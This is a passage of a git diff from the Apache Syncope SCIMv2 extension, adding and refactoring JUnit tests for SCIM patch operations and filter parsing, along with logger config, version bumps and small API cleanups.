result.getLeft().get(0).getPlainAttrs().size()); + assertEquals(PatchOperation.ADD_REPLACE, result.getLeft().get(0).getUsername().getOperation()); + assertEquals("gverdi", result.getLeft().get(0).getUsername().getValue()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("surname") + && attrPatch.getAttr().getValues().contains("Verdi"))); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("firstname") + && attrPatch.getAttr().getValues().contains("Giuseppe"))); + + operations.clear(); + operations.add(getOperation("name", "familyName", PatchOp.replace, "Puccini")); + operations.add(getOperation("name", "givenName", PatchOp.remove, null)); + operations.add(getOperation("active", null, PatchOp.add, "True")); + scimPatchOp.setOperations(operations); + result = dataBinder.toUserUpdate(new UserTO(), scimPatchOp); + assertNotNull(result); + assertNotNull(result.getRight()); + assertTrue(result.getRight().isOnSyncope()); + assertEquals(StatusRType.REACTIVATE, result.getRight().getType()); + assertEquals(1, result.getLeft().size()); + assertEquals(2, result.getLeft().get(0).getPlainAttrs().size()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("surname") + && attrPatch.getAttr().getValues().contains("Puccini"))); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.DELETE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("firstname") + && attrPatch.getAttr().getValues().isEmpty())); + + UserTO userTO = new UserTO(); + userTO.setUsername("bellini"); + userTO.setRealm(SyncopeConstants.ROOT_REALM); + userTO.getPlainAttrs().add(new Attr.Builder("surname").value("Bellini").build()); + SCIMUser scimUser = new SCIMUser( + UUID.randomUUID().toString(), List.of(Resource.User.schema()), null, "bellini", true); + scimUser.setName(new SCIMUserName()); + scimUser.getName().setFamilyName("Bellini"); + SCIMPatchOperation operation = new SCIMPatchOperation(); + operation.setOp(PatchOp.add); + operation.setValue(List.of(scimUser)); + operations.clear(); + operations.add(operation); + scimPatchOp.setOperations(operations); + result = dataBinder.toUserUpdate(userTO, scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(1, result.getLeft().size()); + assertTrue(result.getLeft().get(0).isEmpty()); + + userTO.setUsername("rossini"); + userTO.getPlainAttrs().clear(); + userTO.getPlainAttrs().add(new Attr.Builder("surname").value("Rossini").build()); + result = dataBinder.toUserUpdate(userTO, scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(1, result.getLeft().size()); + assertEquals(PatchOperation.ADD_REPLACE, result.getLeft().get(0).getUsername().getOperation()); + assertEquals("bellini", result.getLeft().get(0).getUsername().getValue()); + assertEquals(1, result.getLeft().get(0).getPlainAttrs().size()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("surname") + && attrPatch.getAttr().getValues().contains("Bellini"))); + + userTO.setUsername("bellini"); + userTO.setSuspended(true); + userTO.getPlainAttrs().clear(); + userTO.getPlainAttrs().add(new Attr.Builder("surname").value("Bellini").build()); + scimUser.getName().setGivenName("Gioacchino"); + scimUser.getRoles().add(new Value("User reviewer")); + result = dataBinder.toUserUpdate(userTO, scimPatchOp); + assertNotNull(result); + assertNotNull(result.getRight()); + assertTrue(result.getRight().isOnSyncope()); + assertEquals(StatusRType.REACTIVATE, result.getRight().getType()); + assertEquals(1, result.getLeft().size()); + assertNull(result.getLeft().get(0).getUsername()); + assertEquals(1, result.getLeft().get(0).getPlainAttrs().size()); + assertTrue(result.getLeft().get(0).getPlainAttrs().stream().anyMatch(attrPatch -> + PatchOperation.ADD_REPLACE.equals(attrPatch.getOperation()) + && attrPatch.getAttr().getSchema().equals("firstname") + && attrPatch.getAttr().getValues().contains("Gioacchino"))); + assertEquals(1, result.getLeft().get(0).getRoles().size()); + assertTrue(result.getLeft().get(0).getRoles().stream().anyMatch(role -> + PatchOperation.ADD_REPLACE.equals(role.getOperation()) + && role.getValue().equals("User reviewer"))); + + userTO = new UserTO(); + Group group = new Group("37d15e4c-cdc1-460b-a591-8505c8133806", null, "root", null); + scimUser = new SCIMUser( + UUID.randomUUID().toString(), List.of(Resource.User.schema()), null, "bellini", true); + scimUser.getGroups().add(group); + group = new Group("29f96485-729e-4d31-88a1-6fc60e4677f3", null, "citizen", null); + scimUser.getGroups().add(group); + operation.setOp(PatchOp.add); + operation.setValue(List.of(scimUser)); + operations.clear(); + operations.add(operation); + group = new Group("f779c0d4-633b-4be5-8f57-32eb478a3ca5", null, "otherchild", null); + SCIMUser scimUser2 = + new SCIMUser(UUID.randomUUID().toString(), List.of(Resource.User.schema()), null, "bellini", true); + scimUser2.getGroups().add(group); + SCIMPatchOperation operation2 = new SCIMPatchOperation(); + operation2.setOp(PatchOp.add); + operation2.setValue(List.of(scimUser2)); + operations.add(operation2); + scimPatchOp.setOperations(operations); + when(groupDAO.find("37d15e4c-cdc1-460b-a591-8505c8133806")).thenAnswer(ic -> { + org.apache.syncope.core.persistence.api.entity.group.Group syncopeGroup = + mock(org.apache.syncope.core.persistence.api.entity.group.Group.class); + ExternalResource resource = mock(ExternalResource.class); + Provision provision = mock(Provision.class); + when(provision.getAnyType()).thenReturn(AnyTypeKind.USER.name()); + when(resource.getKey()).thenReturn("resource-ldap"); + when(resource.getProvisions()).thenAnswer(invocation -> List.of(provision)); + when(syncopeGroup.getResources()).thenAnswer(invocation -> List.of(resource)); + return syncopeGroup; + }); + when(groupDAO.find("29f96485-729e-4d31-88a1-6fc60e4677f3")).thenAnswer(ic -> { + org.apache.syncope.core.persistence.api.entity.group.Group syncopeGroup = + mock(org.apache.syncope.core.persistence.api.entity.group.Group.class); + ExternalResource resource = mock(ExternalResource.class); + Provision provision = mock(Provision.class); + when(provision.getAnyType()).thenReturn(AnyTypeKind.USER.name()); + when(resource.getKey()).thenReturn("resource-testdb"); + when(resource.getProvisions()).thenAnswer(invocation -> List.of(provision)); + when(syncopeGroup.getResources()).thenAnswer(invocation -> List.of(resource)); + return syncopeGroup; + }); + when(groupDAO.find("f779c0d4-633b-4be5-8f57-32eb478a3ca5")).thenAnswer(ic -> { + org.apache.syncope.core.persistence.api.entity.group.Group syncopeGroup = + mock(org.apache.syncope.core.persistence.api.entity.group.Group.class); + ExternalResource resource = mock(ExternalResource.class); + Provision provision = mock(Provision.class); + when(provision.getAnyType()).thenReturn(AnyTypeKind.USER.name()); + when(resource.getKey()).thenReturn("ws-target-resource-list-mappings-1"); + when(resource.getProvisions()).thenAnswer(invocation -> List.of(provision)); + + ExternalResource resource2 = mock(ExternalResource.class); + when(resource2.getKey()).thenReturn("ws-target-resource-list-mappings-2"); + when(resource2.getProvisions()).thenAnswer(invocation -> List.of(provision)); + when(syncopeGroup.getResources()).thenAnswer(invocation -> List.of(resource, resource2)); + return syncopeGroup; + }); + result = dataBinder.toUserUpdate(userTO, scimPatchOp); + assertNotNull(result); + assertNull(result.getRight()); + assertEquals(3, result.getLeft().size()); + assertTrue(result.getLeft().get(0).isEmpty()); + assertEquals(2, result.getLeft().get(1).getMemberships().size()); + assertTrue(result.getLeft().get(1).getMemberships().stream().anyMatch(membershipUR -> + PatchOperation.ADD_REPLACE.equals(membershipUR.getOperation()) + && membershipUR.getGroup().equals("37d15e4c-cdc1-460b-a591-8505c8133806"))); + assertTrue(result.getLeft().get(1).getMemberships().stream().anyMatch(membershipUR -> + PatchOperation.ADD_REPLACE.equals(membershipUR.getOperation()) + && membershipUR.getGroup().equals("29f96485-729e-4d31-88a1-6fc60e4677f3"))); + assertEquals(1, result.getLeft().get(2).getMemberships().size()); + assertTrue(result.getLeft().get(2).getMemberships().stream().anyMatch(membershipUR -> + PatchOperation.ADD_REPLACE.equals(membershipUR.getOperation()) + && membershipUR.getGroup().equals("f779c0d4-633b-4be5-8f57-32eb478a3ca5"))); + } + + private SCIMPatchOperation getOperation( + final String attribute, final String sub, final PatchOp op, final String value) { + SCIMPatchOperation operation = new SCIMPatchOperation(); + SCIMPatchPath scimPatchPath = new SCIMPatchPath(); + scimPatchPath.setAttribute(attribute); + scimPatchPath.setSub(sub); + operation.setOp(op); + operation.setPath(scimPatchPath); + operation.setValue(value == null ? List.of() : List.of(value)); + return operation; + } +} diff --git a/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/scim/SCIMFilterTest.java b/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/scim/SCIMFilterTest.java index 7c7816d48d8..bacef28cb9d 100644 --- a/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/scim/SCIMFilterTest.java +++ b/ext/scimv2/logic/src/test/java/org/apache/syncope/core/logic/scim/SCIMFilterTest.java @@ -21,10 +21,12 @@ import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; import static org.junit.jupiter.api.Assertions.assertNull; -import static org.junit.jupiter.api.Assertions.assertTrue; import org.apache.syncope.common.lib.scim.SCIMComplexConf; import org.apache.syncope.common.lib.scim.SCIMConf; +import org.apache.syncope.common.lib.scim.SCIMEnterpriseUserConf; +import org.apache.syncope.common.lib.scim.SCIMExtensionAnyConf; +import org.apache.syncope.common.lib.scim.SCIMItem; import org.apache.syncope.common.lib.scim.SCIMUserConf; import org.apache.syncope.common.lib.scim.SCIMUserNameConf; import org.apache.syncope.common.lib.scim.types.EmailCanonicalType; @@ -59,27 +61,36 @@ public static void setup() { email.setType(EmailCanonicalType.home); conf.getUserConf().getEmails().add(email); - VISITOR = new SearchCondVisitor(Resource.User, conf); + SCIMEnterpriseUserConf entConf = new SCIMEnterpriseUserConf(); + entConf.setOrganization("org"); + conf.setEnterpriseUserConf(entConf); + + SCIMExtensionAnyConf extConf = new SCIMExtensionAnyConf(); + SCIMItem item = new SCIMItem(); + item.setIntAttrName("realm"); + item.setExtAttrName("realm"); + extConf.add(item); + conf.setExtensionUserConf(extConf); + + VISITOR = new SearchCondVisitor(Resource.User.name(), conf); } @Test public void eq() { SearchCond cond = SearchCondConverter.convert(VISITOR, "userName eq \"bjensen\""); assertNotNull(cond); - assertTrue(cond.getLeaf(AnyCond.class).isPresent()); - assertEquals("username", cond.getLeaf(AnyCond.class).get().getSchema()); - assertEquals(AttrCond.Type.IEQ, cond.getLeaf(AnyCond.class).get().getType()); - assertEquals("bjensen", cond.getLeaf(AnyCond.class).get().getExpression()); + assertEquals("username", cond.getLeaf(AnyCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.IEQ, cond.getLeaf(AnyCond.class).orElseThrow().getType()); + assertEquals("bjensen", cond.getLeaf(AnyCond.class).orElseThrow().getExpression()); } @Test public void sw() { SearchCond cond = SearchCondConverter.convert(VISITOR, "userName sw \"J\""); assertNotNull(cond); - assertTrue(cond.getLeaf(AnyCond.class).isPresent()); - assertEquals("username", cond.getLeaf(AnyCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, cond.getLeaf(AnyCond.class).get().getType()); - assertEquals("J%", cond.getLeaf(AnyCond.class).get().getExpression()); + assertEquals("username", cond.getLeaf(AnyCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, cond.getLeaf(AnyCond.class).orElseThrow().getType()); + assertEquals("J%", cond.getLeaf(AnyCond.class).orElseThrow().getExpression()); SearchCond fqn = SearchCondConverter.convert( VISITOR, "urn:ietf:params:scim:schemas:core:2.0:User:userName sw \"J\""); @@ -90,30 +101,27 @@ public void sw() { public void pr() { SearchCond cond = SearchCondConverter.convert(VISITOR, "title pr"); assertNotNull(cond); - assertTrue(cond.getLeaf(AttrCond.class).isPresent()); - assertEquals("title", cond.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ISNOTNULL, cond.getLeaf(AttrCond.class).get().getType()); - assertNull(cond.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("title", cond.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ISNOTNULL, cond.getLeaf(AttrCond.class).orElseThrow().getType()); + assertNull(cond.getLeaf(AttrCond.class).orElseThrow().getExpression()); } @Test public void gt() { SearchCond cond = SearchCondConverter.convert(VISITOR, "meta.lastModified gt \"2011-05-13T04:42:34Z\""); assertNotNull(cond); - assertTrue(cond.getLeaf(AnyCond.class).isPresent()); - assertEquals("lastChangeDate", cond.getLeaf(AnyCond.class).get().getSchema()); - assertEquals(AttrCond.Type.GT, cond.getLeaf(AnyCond.class).get().getType()); - assertEquals("2011-05-13T04:42:34Z", cond.getLeaf(AnyCond.class).get().getExpression()); + assertEquals("lastChangeDate", cond.getLeaf(AnyCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.GT, cond.getLeaf(AnyCond.class).orElseThrow().getType()); + assertEquals("2011-05-13T04:42:34Z", cond.getLeaf(AnyCond.class).orElseThrow().getExpression()); } @Test public void not() { SearchCond cond = SearchCondConverter.convert(VISITOR, "not (title pr)"); assertNotNull(cond); - assertTrue(cond.getLeaf(AttrCond.class).isPresent()); - assertEquals("title", cond.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ISNULL, cond.getLeaf(AttrCond.class).get().getType()); - assertNull(cond.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("title", cond.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ISNULL, cond.getLeaf(AttrCond.class).orElseThrow().getType()); + assertNull(cond.getLeaf(AttrCond.class).orElseThrow().getExpression()); } @Test @@ -124,17 +132,15 @@ public void and() { SearchCond left = cond.getLeft(); assertNotNull(left); - assertTrue(left.getLeaf(AttrCond.class).isPresent()); - assertEquals("title", left.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ISNOTNULL, left.getLeaf(AttrCond.class).get().getType()); - assertNull(left.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("title", left.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ISNOTNULL, left.getLeaf(AttrCond.class).orElseThrow().getType()); + assertNull(left.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond right = cond.getRight(); assertNotNull(right); - assertTrue(right.getLeaf(AnyCond.class).isPresent()); - assertEquals("username", right.getLeaf(AnyCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, right.getLeaf(AnyCond.class).get().getType()); - assertEquals("J%", right.getLeaf(AnyCond.class).get().getExpression()); + assertEquals("username", right.getLeaf(AnyCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, right.getLeaf(AnyCond.class).orElseThrow().getType()); + assertEquals("J%", right.getLeaf(AnyCond.class).orElseThrow().getExpression()); } @Test @@ -145,17 +151,15 @@ public void or() { SearchCond left = cond.getLeft(); assertNotNull(left); - assertTrue(left.getLeaf(AttrCond.class).isPresent()); - assertEquals("title", left.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ISNOTNULL, left.getLeaf(AttrCond.class).get().getType()); - assertNull(left.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("title", left.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ISNOTNULL, left.getLeaf(AttrCond.class).orElseThrow().getType()); + assertNull(left.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond right = cond.getRight(); assertNotNull(right); - assertTrue(right.getLeaf(AttrCond.class).isPresent()); - assertEquals("cn", right.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.IEQ, right.getLeaf(AttrCond.class).get().getType()); - assertEquals("Other", right.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("cn", right.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.IEQ, right.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("Other", right.getLeaf(AttrCond.class).orElseThrow().getExpression()); } @Test @@ -167,16 +171,14 @@ public void type() { SearchCond left = cond.getLeft(); assertNotNull(left); - assertTrue(left.getLeaf(AttrCond.class).isPresent()); - assertEquals("userType", left.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.IEQ, left.getLeaf(AttrCond.class).get().getType()); - assertEquals("Employee", left.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("userType", left.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.IEQ, left.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("Employee", left.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond right = cond.getRight(); assertNotNull(right); - assertTrue(right.getLeaf(AttrCond.class).isPresent()); - assertEquals("email", right.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ISNOTNULL, right.getLeaf(AttrCond.class).get().getType()); + assertEquals("email", right.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ISNOTNULL, right.getLeaf(AttrCond.class).orElseThrow().getType()); } @Test @@ -185,7 +187,7 @@ public void name() { assertNotNull(cond); assertEquals(SearchCond.Type.LEAF, cond.getType()); - AttrCond leaf = cond.getLeaf(AttrCond.class).get(); + AttrCond leaf = cond.getLeaf(AttrCond.class).orElseThrow(); assertNotNull(leaf); assertEquals("surname", leaf.getSchema()); assertEquals(AttrCond.Type.ILIKE, leaf.getType()); @@ -205,17 +207,15 @@ public void emails() { SearchCond left1 = left.getLeft(); assertNotNull(left1); - assertTrue(left1.getLeaf(AttrCond.class).isPresent()); - assertEquals("email", left1.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, left1.getLeaf(AttrCond.class).get().getType()); - assertEquals("%example.com%", left1.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("email", left1.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, left1.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("%example.com%", left1.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond left2 = left.getRight(); assertNotNull(left2); - assertTrue(left2.getLeaf(AttrCond.class).isPresent()); - assertEquals("gmail", left2.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, left2.getLeaf(AttrCond.class).get().getType()); - assertEquals("%example.com%", left2.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("gmail", left2.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, left2.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("%example.com%", left2.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond right = cond.getRight(); assertNotNull(right); @@ -223,16 +223,34 @@ public void emails() { SearchCond right1 = right.getLeft(); assertNotNull(right1); - assertTrue(right1.getLeaf(AttrCond.class).isPresent()); - assertEquals("email", right1.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, right1.getLeaf(AttrCond.class).get().getType()); - assertEquals("%example.org%", right1.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("email", right1.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, right1.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("%example.org%", right1.getLeaf(AttrCond.class).orElseThrow().getExpression()); SearchCond right2 = right.getRight(); assertNotNull(right2); - assertTrue(right2.getLeaf(AttrCond.class).isPresent()); - assertEquals("gmail", right2.getLeaf(AttrCond.class).get().getSchema()); - assertEquals(AttrCond.Type.ILIKE, right2.getLeaf(AttrCond.class).get().getType()); - assertEquals("%example.org%", right2.getLeaf(AttrCond.class).get().getExpression()); + assertEquals("gmail", right2.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, right2.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("%example.org%", right2.getLeaf(AttrCond.class).orElseThrow().getExpression()); + } + + @Test + public void enterpriseUserAttr() { + SearchCond cond = SearchCondConverter.convert(VISITOR, + "urn:ietf:params:scim:schemas:extension:enterprise:2.0:User:organization eq \"The ASF\""); + assertNotNull(cond); + assertEquals("org", cond.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.IEQ, cond.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("The ASF", cond.getLeaf(AttrCond.class).orElseThrow().getExpression()); + } + + @Test + public void extensionUserAttr() { + SearchCond cond = SearchCondConverter.convert(VISITOR, + "urn:ietf:params:scim:schemas:extension:syncope:2.0:User:realm sw \"/\""); + assertNotNull(cond); + assertEquals("realm", cond.getLeaf(AttrCond.class).orElseThrow().getSchema()); + assertEquals(AttrCond.Type.ILIKE, cond.getLeaf(AttrCond.class).orElseThrow().getType()); + assertEquals("/%", cond.getLeaf(AttrCond.class).orElseThrow().getExpression()); } } diff --git a/ext/scimv2/logic/src/test/resources/simplelogger.properties b/ext/scimv2/logic/src/test/resources/simplelogger.properties new file mode 100644 index 00000000000..030d4d091c1 --- /dev/null +++ b/ext/scimv2/logic/src/test/resources/simplelogger.properties @@ -0,0 +1,22 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +# See http://www.slf4j.org/api/org/slf4j/impl/SimpleLogger.html +# Possible values: "trace", "debug", "info", "warn", or "error" +org.slf4j.simpleLogger.showDateTime=true +org.slf4j.simpleLogger.dateTimeFormat=YYYY-mm-dd HH:mm:ss.SSS +org.slf4j.simpleLogger.defaultLogLevel=debug diff --git a/ext/scimv2/pom.xml b/ext/scimv2/pom.xml index 63842fc8cbd..b1a96cee177 100644 --- a/ext/scimv2/pom.xml +++ b/ext/scimv2/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-ext - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 diff --git a/ext/scimv2/rest-api/pom.xml b/ext/scimv2/rest-api/pom.xml index 7810cd4fd8b..78c2998a0c2 100644 --- a/ext/scimv2/rest-api/pom.xml +++ b/ext/scimv2/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 REST API diff --git a/ext/scimv2/rest-cxf/pom.xml b/ext/scimv2/rest-cxf/pom.xml index 1eca6b6d42d..5e2c0ece42e 100644 --- a/ext/scimv2/rest-cxf/pom.xml +++ b/ext/scimv2/rest-cxf/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 REST CXF diff --git a/ext/scimv2/scim-rest-api/pom.xml b/ext/scimv2/scim-rest-api/pom.xml index 4e295d747fe..daa330e3420 100644 --- a/ext/scimv2/scim-rest-api/pom.xml +++ b/ext/scimv2/scim-rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.ext syncope-ext-scimv2 - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Ext: SCIMv2 SCIM REST API @@ -45,13 +45,19 @@ under the License. com.fasterxml.jackson.core - jackson-annotations + jackson-databind - + org.apache.cxf cxf-rt-frontend-jaxrs + + + org.junit.jupiter + junit-jupiter + test + diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/BadRequestException.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/BadRequestException.java index 9ec456d56f4..ca462dd216f 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/BadRequestException.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/BadRequestException.java @@ -39,5 +39,4 @@ public BadRequestException(final ErrorType errorType, final String detail) { public ErrorType getErrorType() { return errorType; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/AuthenticationScheme.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/AuthenticationScheme.java index 10e3f7722e4..9048295b2a9 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/AuthenticationScheme.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/AuthenticationScheme.java @@ -78,5 +78,4 @@ public String getType() { public boolean isPrimary() { return primary; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/BulkConfigurationOption.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/BulkConfigurationOption.java index b81b652e9cd..a070491271b 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/BulkConfigurationOption.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/BulkConfigurationOption.java @@ -47,5 +47,4 @@ public int getMaxOperations() { public int getMaxPayloadSize() { return maxPayloadSize; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ConfigurationOption.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ConfigurationOption.java index 821cae451d9..5a31ae74f47 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ConfigurationOption.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ConfigurationOption.java @@ -35,5 +35,4 @@ public ConfigurationOption(@JsonProperty("supported") final boolean supported) { public boolean isSupported() { return supported; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/FilterConfigurationOption.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/FilterConfigurationOption.java index 3eda87ed575..578b231697b 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/FilterConfigurationOption.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/FilterConfigurationOption.java @@ -39,5 +39,4 @@ public FilterConfigurationOption( public int getMaxResults() { return maxResults; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Group.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Group.java index 5bddad10fa6..304947e49ea 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Group.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Group.java @@ -48,5 +48,4 @@ public Group( public String getType() { return Optional.ofNullable(type).map(Enum::name).orElse(null); } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ListResponse.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ListResponse.java index 06c69cb6daf..7ccb62c12e1 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ListResponse.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/ListResponse.java @@ -69,5 +69,4 @@ public int getStartIndex() { public int getItemsPerPage() { return itemsPerPage; } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Member.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Member.java index f2513625b48..fd4e6e121d0 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Member.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Member.java @@ -33,5 +33,4 @@ public Member( super(value, display, ref); } - } diff --git a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Meta.java b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Meta.java index 7c6d7a9cbe1..7d17eac50e9 100644 --- a/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Meta.java +++ b/ext/scimv2/scim-rest-api/src/main/java/org/apache/syncope/ext/scimv2/api/data/Meta.java @@ -24,13 +24,12 @@ import java.time.OffsetDateTime; import java.util.Optional; import javax.ws.rs.core.EntityTag; -import org.apache.syncope.ext.scimv2.api.type.Resource; public class Meta extends SCIMBean { private static final long serialVersionUID = 8976451652101091915L; - private final Resource resourceType; + private final String resourceType; private final OffsetDateTime created; @@ -43,7 +42,7 @@ public class Meta extends SCIMBean { @JsonCreator(mode = JsonCreator.Mode.PROPERTIES) public Meta( - @JsonProperty("resourceType") final Resource resourceType, + @JsonProperty("resourceType") final String resourceType, 